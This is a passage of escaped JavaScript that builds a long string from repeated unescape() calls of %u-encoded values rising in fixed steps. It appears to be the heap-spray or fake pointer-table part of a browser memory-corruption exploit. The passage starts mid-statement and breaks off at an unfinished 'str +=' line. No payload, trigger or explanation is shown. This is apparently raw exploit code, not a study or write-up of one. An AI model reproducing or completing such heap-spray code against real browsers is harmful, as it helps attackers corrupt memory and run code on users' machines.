unescape(\"%u0000%u4e80%u0000%u4e84%u0000%u4e88%u0000%u4e8c%u0000%u4e90%u0000%u4e94%u0000%u4e98%u0000%u4e9c%u0000%u4ea0%u0000%u4ea4%u0000%u4ea8%u0000%u4eac%u0000%u4eb0%u0000%u4eb4%u0000%u4eb8%u0000%u4ebc\");\n    str    += unescape(\"%u0000%u4ec0%u0000%u4ec4%u0000%u4ec8%u0000%u4ecc%u0000%u4ed0%u0000%u4ed4%u0000%u4ed8%u0000%u4edc%u0000%u4ee0%u0000%u4ee4%u0000%u4ee8%u0000%u4eec%u0000%u4ef0%u0000%u4ef4%u0000%u4ef8%u0000%u4efc\");\n    str    += unescape(\"%u0000%u4f00%u0000%u4f04%u0000%u4f08%u0000%u4f0c%u0000%u4f10%u0000%u4f14%u0000%u4f18%u0000%u4f1c%u0000%u4f20%u0000%u4f24%u0000%u4f28%u0000%u4f2c%u0000%u4f30%u0000%u4f34%u0000%u4f38%u0000%u4f3c\");\n    str    += unescape(\"%u0000%u4f40%u0000%u4f44%u0000%u4f48%u0000%u4f4c%u0000%u4f50%u0000%u4f54%u0000%u4f58%u0000%u4f5c%u0000%u4f60%u0000%u4f64%u0000%u4f68%u0000%u4f6c%u0000%u4f70%u0000%u4f74%u0000%u4f78%u0000%u4f7c\");\n    str    += unescape(\"%u0000%u4f80%u0000%u4f84%u0000%u4f88%u0000%u4f8c%u0000%u4f90%u0000%u4f94%u0000%u4f98%u0000%u4f9c%u0000%u4fa0%u0000%u4fa4%u0000%u4fa8%u0000%u4fac%u0000%u4fb0%u0000%u4fb4%u0000%u4fb8%u0000%u4fbc\");\n    str    += unescape(\"%u0000%u4fc0%u0000%u4fc4%u0000%u4fc8%u0000%u4fcc%u0000%u4fd0%u0000%u4fd4%u0000%u4fd8%u0000%u4fdc%u0000%u4fe0%u0000%u4fe4%u0000%u4fe8%u0000%u4fec%u0000%u4ff0%u0000%u4ff4%u0000%u4ff8%u0000%u4ffc\");\n    str    += unescape(\"%u0000%u5000%u0000%u5004%u0000%u5008%u0000%u500c%u0000%u5010%u0000%u5014%u0000%u5018%u0000%u501c%u0000%u5020%u0000%u5024%u0000%u5028%u0000%u502c%u0000%u5030%u0000%u5034%u0000%u5038%u0000%u503c\");\n    str    += unescape(\"%u0000%u5040%u0000%u5044%u0000%u5048%u0000%u504c%u0000%u5050%u0000%u5054%u0000%u5058%u0000%u505c%u0000%u5060%u0000%u5064%u0000%u5068%u0000%u506c%u0000%u5070%u0000%u5074%u0000%u5078%u0000%u507c\");\n    str    += unescape(\"%u0000%u5080%u0000%u5084%u0000%u5088%u0000%u508c%u0000%u5090%u0000%u5094%u0000%u5098%u0000%u509c%u0000%u50a0%u0000%u50a4%u0000%u50a8%u0000%u50ac%u0000%u50b0%u0000%u50b4%u0000%u50b8%u0000%u50bc\");\n    str    += unescape(\"%u0000%u50c0%u0000%u50c4%u0000%u50c8%u0000%u50cc%u0000%u50d0%u0000%u50d4%u0000%u50d8%u0000%u50dc%u0000%u50e0%u0000%u50e4%u0000%u50e8%u0000%u50ec%u0000%u50f0%u0000%u50f4%u0000%u50f8%u0000%u50fc\");\n    str    += unescape(\"%u0000%u5100%u0000%u5104%u0000%u5108%u0000%u510c%u0000%u5110%u0000%u5114%u0000%u5118%u0000%u511c%u0000%u5120%u0000%u5124%u0000%u5128%u0000%u512c%u0000%u5130%u0000%u5134%u0000%u5138%u0000%u513c\");\n    str    += unescape(\"%u0000%u5140%u0000%u5144%u0000%u5148%u0000%u514c%u0000%u5150%u0000%u5154%u0000%u5158%u0000%u515c%u0000%u5160%u0000%u5164%u0000%u5168%u0000%u516c%u0000%u5170%u0000%u5174%u0000%u5178%u0000%u517c\");\n    str    += unescape(\"%u0000%u5180%u0000%u5184%u0000%u5188%u0000%u518c%u0000%u5190%u0000%u5194%u0000%u5198%u0000%u519c%u0000%u51a0%u0000%u51a4%u0000%u51a8%u0000%u51ac%u0000%u51b0%u0000%u51b4%u0000%u51b8%u0000%u51bc\");\n    str    += unescape(\"%u0000%u51c0%u0000%u51c4%u0000%u51c8%u0000%u51cc%u0000%u51d0%u0000%u51d4%u0000%u51d8%u0000%u51dc%u0000%u51e0%u0000%u51e4%u0000%u51e8%u0000%u51ec%u0000%u51f0%u0000%u51f4%u0000%u51f8%u0000%u51fc\");\n    str    += unescape(\"%u0000%u5200%u0000%u5204%u0000%u5208%u0000%u520c%u0000%u5210%u0000%u5214%u0000%u5218%u0000%u521c%u0000%u5220%u0000%u5224%u0000%u5228%u0000%u522c%u0000%u5230%u0000%u5234%u0000%u5238%u0000%u523c\");\n    str    += unescape(\"%u0000%u5240%u0000%u5244%u0000%u5248%u0000%u524c%u0000%u5250%u0000%u5254%u0000%u5258%u0000%u525c%u0000%u5260%u0000%u5264%u0000%u5268%u0000%u526c%u0000%u5270%u0000%u5274%u0000%u5278%u0000%u527c\");\n    str    += unescape(\"%u0000%u5280%u0000%u5284%u0000%u5288%u0000%u528c%u0000%u5290%u0000%u5294%u0000%u5298%u0000%u529c%u0000%u52a0%u0000%u52a4%u0000%u52a8%u0000%u52ac%u0000%u52b0%u0000%u52b4%u0000%u52b8%u0000%u52bc\");\n    str    += unescape(\"%u0000%u52c0%u0000%u52c4%u0000%u52c8%u0000%u52cc%u0000%u52d0%u0000%u52d4%u0000%u52d8%u0000%u52dc%u0000%u52e0%u0000%u52e4%u0000%u52e8%u0000%u52ec%u0000%u52f0%u0000%u52f4%u0000%u52f8%u0000%u52fc\");\n    str    += unescape(\"%u0000%u5300%u0000%u5304%u0000%u5308%u0000%u530c%u0000%u5310%u0000%u5314%u0000%u5318%u0000%u531c%u0000%u5320%u0000%u5324%u0000%u5328%u0000%u532c%u0000%u5330%u0000%u5334%u0000%u5338%u0000%u533c\");\n    str    += unescape(\"%u0000%u5340%u0000%u5344%u0000%u5348%u0000%u534c%u0000%u5350%u0000%u5354%u0000%u5358%u0000%u535c%u0000%u5360%u0000%u5364%u0000%u5368%u0000%u536c%u0000%u5370%u0000%u5374%u0000%u5378%u0000%u537c\");\n    str    += unescape(\"%u0000%u5380%u0000%u5384%u0000%u5388%u0000%u538c%u0000%u5390%u0000%u5394%u0000%u5398%u0000%u539c%u0000%u53a0%u0000%u53a4%u0000%u53a8%u0000%u53ac%u0000%u53b0%u0000%u53b4%u0000%u53b8%u0000%u53bc\");\n    str    += unescape(\"%u0000%u53c0%u0000%u53c4%u0000%u53c8%u0000%u53cc%u0000%u53d0%u0000%u53d4%u0000%u53d8%u0000%u53dc%u0000%u53e0%u0000%u53e4%u0000%u53e8%u0000%u53ec%u0000%u53f0%u0000%u53f4%u0000%u53f8%u0000%u53fc\");\n    str    += unescape(\"%u0000%u5400%u0000%u5404%u0000%u5408%u0000%u540c%u0000%u5410%u0000%u5414%u0000%u5418%u0000%u541c%u0000%u5420%u0000%u5424%u0000%u5428%u0000%u542c%u0000%u5430%u0000%u5434%u0000%u5438%u0000%u543c\");\n    str    += unescape(\"%u0000%u5440%u0000%u5444%u0000%u5448%u0000%u544c%u0000%u5450%u0000%u5454%u0000%u5458%u0000%u545c%u0000%u5460%u0000%u5464%u0000%u5468%u0000%u546c%u0000%u5470%u0000%u5474%u0000%u5478%u0000%u547c\");\n    str    += unescape(\"%u0000%u5480%u0000%u5484%u0000%u5488%u0000%u548c%u0000%u5490%u0000%u5494%u0000%u5498%u0000%u549c%u0000%u54a0%u0000%u54a4%u0000%u54a8%u0000%u54ac%u0000%u54b0%u0000%u54b4%u0000%u54b8%u0000%u54bc\");\n    str    += unescape(\"%u0000%u54c0%u0000%u54c4%u0000%u54c8%u0000%u54cc%u0000%u54d0%u0000%u54d4%u0000%u54d8%u0000%u54dc%u0000%u54e0%u0000%u54e4%u0000%u54e8%u0000%u54ec%u0000%u54f0%u0000%u54f4%u0000%u54f8%u0000%u54fc\");\n    str    += unescape(\"%u0000%u5500%u0000%u5504%u0000%u5508%u0000%u550c%u0000%u5510%u0000%u5514%u0000%u5518%u0000%u551c%u0000%u5520%u0000%u5524%u0000%u5528%u0000%u552c%u0000%u5530%u0000%u5534%u0000%u5538%u0000%u553c\");\n    str    += unescape(\"%u0000%u5540%u0000%u5544%u0000%u5548%u0000%u554c%u0000%u5550%u0000%u5554%u0000%u5558%u0000%u555c%u0000%u5560%u0000%u5564%u0000%u5568%u0000%u556c%u0000%u5570%u0000%u5574%u0000%u5578%u0000%u557c\");\n    str    += unescape(\"%u0000%u5580%u0000%u5584%u0000%u5588%u0000%u558c%u0000%u5590%u0000%u5594%u0000%u5598%u0000%u559c%u0000%u55a0%u0000%u55a4%u0000%u55a8%u0000%u55ac%u0000%u55b0%u0000%u55b4%u0000%u55b8%u0000%u55bc\");\n    str    += unescape(\"%u0000%u55c0%u0000%u55c4%u0000%u55c8%u0000%u55cc%u0000%u55d0%u0000%u55d4%u0000%u55d8%u0000%u55dc%u0000%u55e0%u0000%u55e4%u0000%u55e8%u0000%u55ec%u0000%u55f0%u0000%u55f4%u0000%u55f8%u0000%u55fc\");\n    str    += unescape(\"%u0000%u5600%u0000%u5604%u0000%u5608%u0000%u560c%u0000%u5610%u0000%u5614%u0000%u5618%u0000%u561c%u0000%u5620%u0000%u5624%u0000%u5628%u0000%u562c%u0000%u5630%u0000%u5634%u0000%u5638%u0000%u563c\");\n    str    += unescape(\"%u0000%u5640%u0000%u5644%u0000%u5648%u0000%u564c%u0000%u5650%u0000%u5654%u0000%u5658%u0000%u565c%u0000%u5660%u0000%u5664%u0000%u5668%u0000%u566c%u0000%u5670%u0000%u5674%u0000%u5678%u0000%u567c\");\n    str    += unescape(\"%u0000%u5680%u0000%u5684%u0000%u5688%u0000%u568c%u0000%u5690%u0000%u5694%u0000%u5698%u0000%u569c%u0000%u56a0%u0000%u56a4%u0000%u56a8%u0000%u56ac%u0000%u56b0%u0000%u56b4%u0000%u56b8%u0000%u56bc\");\n    str    += unescape(\"%u0000%u56c0%u0000%u56c4%u0000%u56c8%u0000%u56cc%u0000%u56d0%u0000%u56d4%u0000%u56d8%u0000%u56dc%u0000%u56e0%u0000%u56e4%u0000%u56e8%u0000%u56ec%u0000%u56f0%u0000%u56f4%u0000%u56f8%u0000%u56fc\");\n    str    += unescape(\"%u0000%u5700%u0000%u5704%u0000%u5708%u0000%u570c%u0000%u5710%u0000%u5714%u0000%u5718%u0000%u571c%u0000%u5720%u0000%u5724%u0000%u5728%u0000%u572c%u0000%u5730%u0000%u5734%u0000%u5738%u0000%u573c\");\n    str    += unescape(\"%u0000%u5740%u0000%u5744%u0000%u5748%u0000%u574c%u0000%u5750%u0000%u5754%u0000%u5758%u0000%u575c%u0000%u5760%u0000%u5764%u0000%u5768%u0000%u576c%u0000%u5770%u0000%u5774%u0000%u5778%u0000%u577c\");\n    str    += unescape(\"%u0000%u5780%u0000%u5784%u0000%u5788%u0000%u578c%u0000%u5790%u0000%u5794%u0000%u5798%u0000%u579c%u0000%u57a0%u0000%u57a4%u0000%u57a8%u0000%u57ac%u0000%u57b0%u0000%u57b4%u0000%u57b8%u0000%u57bc\");\n    str    += unescape(\"%u0000%u57c0%u0000%u57c4%u0000%u57c8%u0000%u57cc%u0000%u57d0%u0000%u57d4%u0000%u57d8%u0000%u57dc%u0000%u57e0%u0000%u57e4%u0000%u57e8%u0000%u57ec%u0000%u57f0%u0000%u57f4%u0000%u57f8%u0000%u57fc\");\n    str    += unescape(\"%u0000%u5800%u0000%u5804%u0000%u5808%u0000%u580c%u0000%u5810%u0000%u5814%u0000%u5818%u0000%u581c%u0000%u5820%u0000%u5824%u0000%u5828%u0000%u582c%u0000%u5830%u0000%u5834%u0000%u5838%u0000%u583c\");\n    str    += unescape(\"%u0000%u5840%u0000%u5844%u0000%u5848%u0000%u584c%u0000%u5850%u0000%u5854%u0000%u5858%u0000%u585c%u0000%u5860%u0000%u5864%u0000%u5868%u0000%u586c%u0000%u5870%u0000%u5874%u0000%u5878%u0000%u587c\");\n    str    += unescape(\"%u0000%u5880%u0000%u5884%u0000%u5888%u0000%u588c%u0000%u5890%u0000%u5894%u0000%u5898%u0000%u589c%u0000%u58a0%u0000%u58a4%u0000%u58a8%u0000%u58ac%u0000%u58b0%u0000%u58b4%u0000%u58b8%u0000%u58bc\");\n    str    += unescape(\"%u0000%u58c0%u0000%u58c4%u0000%u58c8%u0000%u58cc%u0000%u58d0%u0000%u58d4%u0000%u58d8%u0000%u58dc%u0000%u58e0%u0000%u58e4%u0000%u58e8%u0000%u58ec%u0000%u58f0%u0000%u58f4%u0000%u58f8%u0000%u58fc\");\n    str    += unescape(\"%u0000%u5900%u0000%u5904%u0000%u5908%u0000%u590c%u0000%u5910%u0000%u5914%u0000%u5918%u0000%u591c%u0000%u5920%u0000%u5924%u0000%u5928%u0000%u592c%u0000%u5930%u0000%u5934%u0000%u5938%u0000%u593c\");\n    str    += unescape(\"%u0000%u5940%u0000%u5944%u0000%u5948%u0000%u594c%u0000%u5950%u0000%u5954%u0000%u5958%u0000%u595c%u0000%u5960%u0000%u5964%u0000%u5968%u0000%u596c%u0000%u5970%u0000%u5974%u0000%u5978%u0000%u597c\");\n    str    += unescape(\"%u0000%u5980%u0000%u5984%u0000%u5988%u0000%u598c%u0000%u5990%u0000%u5994%u0000%u5998%u0000%u599c%u0000%u59a0%u0000%u59a4%u0000%u59a8%u0000%u59ac%u0000%u59b0%u0000%u59b4%u0000%u59b8%u0000%u59bc\");\n    str    += unescape(\"%u0000%u59c0%u0000%u59c4%u0000%u59c8%u0000%u59cc%u0000%u59d0%u0000%u59d4%u0000%u59d8%u0000%u59dc%u0000%u59e0%u0000%u59e4%u0000%u59e8%u0000%u59ec%u0000%u59f0%u0000%u59f4%u0000%u59f8%u0000%u59fc\");\n    str    += unescape(\"%u0000%u5a00%u0000%u5a04%u0000%u5a08%u0000%u5a0c%u0000%u5a10%u0000%u5a14%u0000%u5a18%u0000%u5a1c%u0000%u5a20%u0000%u5a24%u0000%u5a28%u0000%u5a2c%u0000%u5a30%u0000%u5a34%u0000%u5a38%u0000%u5a3c\");\n    str    += unescape(\"%u0000%u5a40%u0000%u5a44%u0000%u5a48%u0000%u5a4c%u0000%u5a50%u0000%u5a54%u0000%u5a58%u0000%u5a5c%u0000%u5a60%u0000%u5a64%u0000%u5a68%u0000%u5a6c%u0000%u5a70%u0000%u5a74%u0000%u5a78%u0000%u5a7c\");\n    str    += unescape(\"%u0000%u5a80%u0000%u5a84%u0000%u5a88%u0000%u5a8c%u0000%u5a90%u0000%u5a94%u0000%u5a98%u0000%u5a9c%u0000%u5aa0%u0000%u5aa4%u0000%u5aa8%u0000%u5aac%u0000%u5ab0%u0000%u5ab4%u0000%u5ab8%u0000%u5abc\");\n    str    += unescape(\"%u0000%u5ac0%u0000%u5ac4%u0000%u5ac8%u0000%u5acc%u0000%u5ad0%u0000%u5ad4%u0000%u5ad8%u0000%u5adc%u0000%u5ae0%u0000%u5ae4%u0000%u5ae8%u0000%u5aec%u0000%u5af0%u0000%u5af4%u0000%u5af8%u0000%u5afc\");\n    str    += unescape(\"%u0000%u5b00%u0000%u5b04%u0000%u5b08%u0000%u5b0c%u0000%u5b10%u0000%u5b14%u0000%u5b18%u0000%u5b1c%u0000%u5b20%u0000%u5b24%u0000%u5b28%u0000%u5b2c%u0000%u5b30%u0000%u5b34%u0000%u5b38%u0000%u5b3c\");\n    str    += unescape(\"%u0000%u5b40%u0000%u5b44%u0000%u5b48%u0000%u5b4c%u0000%u5b50%u0000%u5b54%u0000%u5b58%u0000%u5b5c%u0000%u5b60%u0000%u5b64%u0000%u5b68%u0000%u5b6c%u0000%u5b70%u0000%u5b74%u0000%u5b78%u0000%u5b7c\");\n    str    += unescape(\"%u0000%u5b80%u0000%u5b84%u0000%u5b88%u0000%u5b8c%u0000%u5b90%u0000%u5b94%u0000%u5b98%u0000%u5b9c%u0000%u5ba0%u0000%u5ba4%u0000%u5ba8%u0000%u5bac%u0000%u5bb0%u0000%u5bb4%u0000%u5bb8%u0000%u5bbc\");\n    str    += unescape(\"%u0000%u5bc0%u0000%u5bc4%u0000%u5bc8%u0000%u5bcc%u0000%u5bd0%u0000%u5bd4%u0000%u5bd8%u0000%u5bdc%u0000%u5be0%u0000%u5be4%u0000%u5be8%u0000%u5bec%u0000%u5bf0%u0000%u5bf4%u0000%u5bf8%u0000%u5bfc\");\n    str    += unescape(\"%u0000%u5c00%u0000%u5c04%u0000%u5c08%u0000%u5c0c%u0000%u5c10%u0000%u5c14%u0000%u5c18%u0000%u5c1c%u0000%u5c20%u0000%u5c24%u0000%u5c28%u0000%u5c2c%u0000%u5c30%u0000%u5c34%u0000%u5c38%u0000%u5c3c\");\n    str    += unescape(\"%u0000%u5c40%u0000%u5c44%u0000%u5c48%u0000%u5c4c%u0000%u5c50%u0000%u5c54%u0000%u5c58%u0000%u5c5c%u0000%u5c60%u0000%u5c64%u0000%u5c68%u0000%u5c6c%u0000%u5c70%u0000%u5c74%u0000%u5c78%u0000%u5c7c\");\n    str    += unescape(\"%u0000%u5c80%u0000%u5c84%u0000%u5c88%u0000%u5c8c%u0000%u5c90%u0000%u5c94%u0000%u5c98%u0000%u5c9c%u0000%u5ca0%u0000%u5ca4%u0000%u5ca8%u0000%u5cac%u0000%u5cb0%u0000%u5cb4%u0000%u5cb8%u0000%u5cbc\");\n    str    += unescape(\"%u0000%u5cc0%u0000%u5cc4%u0000%u5cc8%u0000%u5ccc%u0000%u5cd0%u0000%u5cd4%u0000%u5cd8%u0000%u5cdc%u0000%u5ce0%u0000%u5ce4%u0000%u5ce8%u0000%u5cec%u0000%u5cf0%u0000%u5cf4%u0000%u5cf8%u0000%u5cfc\");\n    str    += unescape(\"%u0000%u5d00%u0000%u5d04%u0000%u5d08%u0000%u5d0c%u0000%u5d10%u0000%u5d14%u0000%u5d18%u0000%u5d1c%u0000%u5d20%u0000%u5d24%u0000%u5d28%u0000%u5d2c%u0000%u5d30%u0000%u5d34%u0000%u5d38%u0000%u5d3c\");\n    str    += unescape(\"%u0000%u5d40%u0000%u5d44%u0000%u5d48%u0000%u5d4c%u0000%u5d50%u0000%u5d54%u0000%u5d58%u0000%u5d5c%u0000%u5d60%u0000%u5d64%u0000%u5d68%u0000%u5d6c%u0000%u5d70%u0000%u5d74%u0000%u5d78%u0000%u5d7c\");\n    str    += unescape(\"%u0000%u5d80%u0000%u5d84%u0000%u5d88%u0000%u5d8c%u0000%u5d90%u0000%u5d94%u0000%u5d98%u0000%u5d9c%u0000%u5da0%u0000%u5da4%u0000%u5da8%u0000%u5dac%u0000%u5db0%u0000%u5db4%u0000%u5db8%u0000%u5dbc\");\n    str    += unescape(\"%u0000%u5dc0%u0000%u5dc4%u0000%u5dc8%u0000%u5dcc%u0000%u5dd0%u0000%u5dd4%u0000%u5dd8%u0000%u5ddc%u0000%u5de0%u0000%u5de4%u0000%u5de8%u0000%u5dec%u0000%u5df0%u0000%u5df4%u0000%u5df8%u0000%u5dfc\");\n    str    += unescape(\"%u0000%u5e00%u0000%u5e04%u0000%u5e08%u0000%u5e0c%u0000%u5e10%u0000%u5e14%u0000%u5e18%u0000%u5e1c%u0000%u5e20%u0000%u5e24%u0000%u5e28%u0000%u5e2c%u0000%u5e30%u0000%u5e34%u0000%u5e38%u0000%u5e3c\");\n    str    += unescape(\"%u0000%u5e40%u0000%u5e44%u0000%u5e48%u0000%u5e4c%u0000%u5e50%u0000%u5e54%u0000%u5e58%u0000%u5e5c%u0000%u5e60%u0000%u5e64%u0000%u5e68%u0000%u5e6c%u0000%u5e70%u0000%u5e74%u0000%u5e78%u0000%u5e7c\");\n    str    += unescape(\"%u0000%u5e80%u0000%u5e84%u0000%u5e88%u0000%u5e8c%u0000%u5e90%u0000%u5e94%u0000%u5e98%u0000%u5e9c%u0000%u5ea0%u0000%u5ea4%u0000%u5ea8%u0000%u5eac%u0000%u5eb0%u0000%u5eb4%u0000%u5eb8%u0000%u5ebc\");\n    str    += unescape(\"%u0000%u5ec0%u0000%u5ec4%u0000%u5ec8%u0000%u5ecc%u0000%u5ed0%u0000%u5ed4%u0000%u5ed8%u0000%u5edc%u0000%u5ee0%u0000%u5ee4%u0000%u5ee8%u0000%u5eec%u0000%u5ef0%u0000%u5ef4%u0000%u5ef8%u0000%u5efc\");\n    str    += unescape(\"%u0000%u5f00%u0000%u5f04%u0000%u5f08%u0000%u5f0c%u0000%u5f10%u0000%u5f14%u0000%u5f18%u0000%u5f1c%u0000%u5f20%u0000%u5f24%u0000%u5f28%u0000%u5f2c%u0000%u5f30%u0000%u5f34%u0000%u5f38%u0000%u5f3c\");\n    str    += unescape(\"%u0000%u5f40%u0000%u5f44%u0000%u5f48%u0000%u5f4c%u0000%u5f50%u0000%u5f54%u0000%u5f58%u0000%u5f5c%u0000%u5f60%u0000%u5f64%u0000%u5f68%u0000%u5f6c%u0000%u5f70%u0000%u5f74%u0000%u5f78%u0000%u5f7c\");\n    str    += unescape(\"%u0000%u5f80%u0000%u5f84%u0000%u5f88%u0000%u5f8c%u0000%u5f90%u0000%u5f94%u0000%u5f98%u0000%u5f9c%u0000%u5fa0%u0000%u5fa4%u0000%u5fa8%u0000%u5fac%u0000%u5fb0%u0000%u5fb4%u0000%u5fb8%u0000%u5fbc\");\n    str    += unescape(\"%u0000%u5fc0%u0000%u5fc4%u0000%u5fc8%u0000%u5fcc%u0000%u5fd0%u0000%u5fd4%u0000%u5fd8%u0000%u5fdc%u0000%u5fe0%u0000%u5fe4%u0000%u5fe8%u0000%u5fec%u0000%u5ff0%u0000%u5ff4%u0000%u5ff8%u0000%u5ffc\");\n    str    += unescape(\"%u0000%u6000%u0000%u6004%u0000%u6008%u0000%u600c%u0000%u6010%u0000%u6014%u0000%u6018%u0000%u601c%u0000%u6020%u0000%u6024%u0000%u6028%u0000%u602c%u0000%u6030%u0000%u6034%u0000%u6038%u0000%u603c\");\n    str    += unescape(\"%u0000%u6040%u0000%u6044%u0000%u6048%u0000%u604c%u0000%u6050%u0000%u6054%u0000%u6058%u0000%u605c%u0000%u6060%u0000%u6064%u0000%u6068%u0000%u606c%u0000%u6070%u0000%u6074%u0000%u6078%u0000%u607c\");\n    str    += unescape(\"%u0000%u6080%u0000%u6084%u0000%u6088%u0000%u608c%u0000%u6090%u0000%u6094%u0000%u6098%u0000%u609c%u0000%u60a0%u0000%u60a4%u0000%u60a8%u0000%u60ac%u0000%u60b0%u0000%u60b4%u0000%u60b8%u0000%u60bc\");\n    str    += unescape(\"%u0000%u60c0%u0000%u60c4%u0000%u60c8%u0000%u60cc%u0000%u60d0%u0000%u60d4%u0000%u60d8%u0000%u60dc%u0000%u60e0%u0000%u60e4%u0000%u60e8%u0000%u60ec%u0000%u60f0%u0000%u60f4%u0000%u60f8%u0000%u60fc\");\n    str    += unescape(\"%u0000%u6100%u0000%u6104%u0000%u6108%u0000%u610c%u0000%u6110%u0000%u6114%u0000%u6118%u0000%u611c%u0000%u6120%u0000%u6124%u0000%u6128%u0000%u612c%u0000%u6130%u0000%u6134%u0000%u6138%u0000%u613c\");\n    str    += unescape(\"%u0000%u6140%u0000%u6144%u0000%u6148%u0000%u614c%u0000%u6150%u0000%u6154%u0000%u6158%u0000%u615c%u0000%u6160%u0000%u6164%u0000%u6168%u0000%u616c%u0000%u6170%u0000%u6174%u0000%u6178%u0000%u617c\");\n    str    += unescape(\"%u0000%u6180%u0000%u6184%u0000%u6188%u0000%u618c%u0000%u6190%u0000%u6194%u0000%u6198%u0000%u619c%u0000%u61a0%u0000%u61a4%u0000%u61a8%u0000%u61ac%u0000%u61b0%u0000%u61b4%u0000%u61b8%u0000%u61bc\");\n    str    += unescape(\"%u0000%u61c0%u0000%u61c4%u0000%u61c8%u0000%u61cc%u0000%u61d0%u0000%u61d4%u0000%u61d8%u0000%u61dc%u0000%u61e0%u0000%u61e4%u0000%u61e8%u0000%u61ec%u0000%u61f0%u0000%u61f4%u0000%u61f8%u0000%u61fc\");\n    str    += unescape(\"%u0000%u6200%u0000%u6204%u0000%u6208%u0000%u620c%u0000%u6210%u0000%u6214%u0000%u6218%u0000%u621c%u0000%u6220%u0000%u6224%u0000%u6228%u0000%u622c%u0000%u6230%u0000%u6234%u0000%u6238%u0000%u623c\");\n    str    += unescape(\"%u0000%u6240%u0000%u6244%u0000%u6248%u0000%u624c%u0000%u6250%u0000%u6254%u0000%u6258%u0000%u625c%u0000%u6260%u0000%u6264%u0000%u6268%u0000%u626c%u0000%u6270%u0000%u6274%u0000%u6278%u0000%u627c\");\n    str    += unescape(\"%u0000%u6280%u0000%u6284%u0000%u6288%u0000%u628c%u0000%u6290%u0000%u6294%u0000%u6298%u0000%u629c%u0000%u62a0%u0000%u62a4%u0000%u62a8%u0000%u62ac%u0000%u62b0%u0000%u62b4%u0000%u62b8%u0000%u62bc\");\n    str    += unescape(\"%u0000%u62c0%u0000%u62c4%u0000%u62c8%u0000%u62cc%u0000%u62d0%u0000%u62d4%u0000%u62d8%u0000%u62dc%u0000%u62e0%u0000%u62e4%u0000%u62e8%u0000%u62ec%u0000%u62f0%u0000%u62f4%u0000%u62f8%u0000%u62fc\");\n    str    += unescape(\"%u0000%u6300%u0000%u6304%u0000%u6308%u0000%u630c%u0000%u6310%u0000%u6314%u0000%u6318%u0000%u631c%u0000%u6320%u0000%u6324%u0000%u6328%u0000%u632c%u0000%u6330%u0000%u6334%u0000%u6338%u0000%u633c\");\n    str    += unescape(\"%u0000%u6340%u0000%u6344%u0000%u6348%u0000%u634c%u0000%u6350%u0000%u6354%u0000%u6358%u0000%u635c%u0000%u6360%u0000%u6364%u0000%u6368%u0000%u636c%u0000%u6370%u0000%u6374%u0000%u6378%u0000%u637c\");\n    str    += unescape(\"%u0000%u6380%u0000%u6384%u0000%u6388%u0000%u638c%u0000%u6390%u0000%u6394%u0000%u6398%u0000%u639c%u0000%u63a0%u0000%u63a4%u0000%u63a8%u0000%u63ac%u0000%u63b0%u0000%u63b4%u0000%u63b8%u0000%u63bc\");\n    str    += unescape(\"%u0000%u63c0%u0000%u63c4%u0000%u63c8%u0000%u63cc%u0000%u63d0%u0000%u63d4%u0000%u63d8%u0000%u63dc%u0000%u63e0%u0000%u63e4%u0000%u63e8%u0000%u63ec%u0000%u63f0%u0000%u63f4%u0000%u63f8%u0000%u63fc\");\n    str    += unescape(\"%u0000%u6400%u0000%u6404%u0000%u6408%u0000%u640c%u0000%u6410%u0000%u6414%u0000%u6418%u0000%u641c%u0000%u6420%u0000%u6424%u0000%u6428%u0000%u642c%u0000%u6430%u0000%u6434%u0000%u6438%u0000%u643c\");\n    str    += unescape(\"%u0000%u6440%u0000%u6444%u0000%u6448%u0000%u644c%u0000%u6450%u0000%u6454%u0000%u6458%u0000%u645c%u0000%u6460%u0000%u6464%u0000%u6468%u0000%u646c%u0000%u6470%u0000%u6474%u0000%u6478%u0000%u647c\");\n    str    += unescape(\"%u0000%u6480%u0000%u6484%u0000%u6488%u0000%u648c%u0000%u6490%u0000%u6494%u0000%u6498%u0000%u649c%u0000%u64a0%u0000%u64a4%u0000%u64a8%u0000%u64ac%u0000%u64b0%u0000%u64b4%u0000%u64b8%u0000%u64bc\");\n    str    += unescape(\"%u0000%u64c0%u0000%u64c4%u0000%u64c8%u0000%u64cc%u0000%u64d0%u0000%u64d4%u0000%u64d8%u0000%u64dc%u0000%u64e0%u0000%u64e4%u0000%u64e8%u0000%u64ec%u0000%u64f0%u0000%u64f4%u0000%u64f8%u0000%u64fc\");\n    str    += unescape(\"%u0000%u6500%u0000%u6504%u0000%u6508%u0000%u650c%u0000%u6510%u0000%u6514%u0000%u6518%u0000%u651c%u0000%u6520%u0000%u6524%u0000%u6528%u0000%u652c%u0000%u6530%u0000%u6534%u0000%u6538%u0000%u653c\");\n    str    += unescape(\"%u0000%u6540%u0000%u6544%u0000%u6548%u0000%u654c%u0000%u6550%u0000%u6554%u0000%u6558%u0000%u655c%u0000%u6560%u0000%u6564%u0000%u6568%u0000%u656c%u0000%u6570%u0000%u6574%u0000%u6578%u0000%u657c\");\n    str    += unescape(\"%u0000%u6580%u0000%u6584%u0000%u6588%u0000%u658c%u0000%u6590%u0000%u6594%u0000%u6598%u0000%u659c%u0000%u65a0%u0000%u65a4%u0000%u65a8%u0000%u65ac%u0000%u65b0%u0000%u65b4%u0000%u65b8%u0000%u65bc\");\n    str    += unescape(\"%u0000%u65c0%u0000%u65c4%u0000%u65c8%u0000%u65cc%u0000%u65d0%u0000%u65d4%u0000%u65d8%u0000%u65dc%u0000%u65e0%u0000%u65e4%u0000%u65e8%u0000%u65ec%u0000%u65f0%u0000%u65f4%u0000%u65f8%u0000%u65fc\");\n    str    += unescape(\"%u0000%u6600%u0000%u6604%u0000%u6608%u0000%u660c%u0000%u6610%u0000%u6614%u0000%u6618%u0000%u661c%u0000%u6620%u0000%u6624%u0000%u6628%u0000%u662c%u0000%u6630%u0000%u6634%u0000%u6638%u0000%u663c\");\n    str    += unescape(\"%u0000%u6640%u0000%u6644%u0000%u6648%u0000%u664c%u0000%u6650%u0000%u6654%u0000%u6658%u0000%u665c%u0000%u6660%u0000%u6664%u0000%u6668%u0000%u666c%u0000%u6670%u0000%u6674%u0000%u6678%u0000%u667c\");\n    str    += unescape(\"%u0000%u6680%u0000%u6684%u0000%u6688%u0000%u668c%u0000%u6690%u0000%u6694%u0000%u6698%u0000%u669c%u0000%u66a0%u0000%u66a4%u0000%u66a8%u0000%u66ac%u0000%u66b0%u0000%u66b4%u0000%u66b8%u0000%u66bc\");\n    str    += 